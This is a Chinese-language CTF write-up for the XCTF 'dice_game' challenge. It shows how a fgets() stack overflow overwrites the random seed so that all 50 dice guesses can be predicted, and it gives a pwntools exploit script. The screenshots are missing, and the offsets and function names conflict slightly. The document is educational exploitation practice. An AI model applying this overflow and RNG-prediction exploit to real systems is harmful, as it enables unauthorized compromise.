dice_game(xctf)

0x0 程序保护和流程

保护:

在这里插入图片描述

流程:

main()

在这里插入图片描述

sub_A20()

在这里插入图片描述

sub_B28()

在这里插入图片描述

只要sub_A20()的验证通过50次就可以通过sub_B20()输出flag。而sub_A20()通过随机数来决定返回的值是否为1。整个程序只有fgets()处可以覆盖栈上其他变量的值,所以可以通过fgets()修改seed[0]的值。

0x1 利用过程

可以观察到seed[0]处于rsp+40h的位置所以padding=‘a’*40之后就可以覆盖seed[0]的值了。

0x2 exp

from pwn import *
from ctypes import *
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
sh=process('./a')
# sh=remote('124.126.19.106','30741')
payload='a'*0x40+p64(1)
sh.recvuntil('Welcome, let me know your name: ')
sh.sendline(payload)
for i in range(50):
    sh.recvuntil('Give me the point(1~6): ')
    sh.sendline(str(libc.rand()%6+1))

sh.recv()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值